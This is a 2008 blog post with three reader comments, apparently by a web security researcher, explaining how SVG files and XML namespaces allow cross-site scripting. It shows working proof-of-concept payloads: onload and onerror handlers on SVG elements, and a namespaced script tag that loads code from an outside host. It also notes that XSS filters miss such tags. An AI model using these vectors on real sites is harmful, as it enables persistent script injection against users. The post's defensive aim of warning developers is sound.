November 26, 2008

SVG and more XML fun

Intro

SVG has first been published as recommendation by the W3C around 2001 as a compound solution for browsers to render scalable vector graphics combined with text. Most browsers natively understand the format and even the Internet Explorer is capable of rendering SVGs with help of a plug-in provided by Adobe. The contents being rendered can be influenced by either the contents of the embedded SVG file itself, inline SVG code if the embedding site provides the correct headers and namespaces and of course the SVGDOM - which allows animations.

Code

Firefox 3 and others currently provide several ways of rendering embedded SVGs - amongst other via OBJECT and EMBED tags. IMG tags are not supported yet but probably soon will be. Since more and more web applications start to utilize SVGs it's important to point out the risks attached to this XML subset. Let's have a look at some code

<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml">
   <object data="test.svg"></object>
</html>

Here we have the corresponding SVG file.

<svg xmlns="http://www.w3.org/2000/svg">
   <image onload="alert(1)"></image>
   <svg onload="alert(2)"></svg>
   <script>alert(3)</script>
   <defs onload="alert(4)"></defs>
   <g onload="alert(5)">
       <circle onload="alert(6)" />
       <text onload="alert(7)"></text>
   </g>
</svg>

The above example shows several ways of executing JavaScript via an embedded SVG. But even more interesting is the way of using inline SVG - like shown below.

<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml"
     xmlns:svg="http://www.w3.org/2000/svg">
<svg:g onload="alert(8)"/>
</html>

Firefox, Chrome and Opera even go that far allowing IMAGE tags - which work like regular IMG tags and cooperate with the events you would expect.

<image src="x" onerror="alert(1)"></image>

Conclusion

As we can see any node inside an SVG file can successfully be equipped with an load event handler. The combination of this fact with rogue SVGs being uploaded can lead to serious trouble. But what if we start to forget the SVG file and take a look at the namespaces and possibilities to inject markup that doesn't look like XHTML - but will be rendered as such?

<html xmlns:ø="http://www.w3.org/1999/xhtml">
   <ø:script src="//0x.lv/" />
</html>

The above example works in either Firefox' latest revisions, Safari, Chrome and of course Opera. Internet Explorer will neither execute the JavaScript nor render the whole site since it has still problems with XHTML and beyond. This is not new and a more overheaded variation of this vector has already been added to the XSS cheat sheet.

From the developer's perspective it's important to take care what happens inside the SVGs cavorting on a website. If it's even allowed for users to upload SVGs there's no way around scanning the content of the incoming SVG files to avoid persistent XSS vulnerabilities.

3 comments:

  1. On the security aspect the SVG standard is nothing different than (X)HTML.
    The implementations of SVG often re-use well-tested parts built for (X)HTML, so i don't suspect much difference in practice either.

    Loads of SVG links via http://svg.startpagina.nl

    ReplyDelete
  2. Thanks for the link - didn't know that resource.

    I agree but this article is more or less meant to point out the risks when working with SVG for developers. Since many webdevs know surprisingly few things about XML, namespacing and the browsers capabilities and also consider SVGs to be kind of regular images I found it important to drag some things together.

    Especially the inline SVG stuff can - in certain scenarios - easily be used as entry point for an attack. Most XSS filters for example do not check incoming data for tags formed like <namespace:tagname>.

    Also I do have trouble in believing that the more a component is being the more secure it is :)

    Cheers!

    ReplyDelete
  3. Ah, i see 'where you are coming from' now.
    Good points, thanks.

    ReplyDelete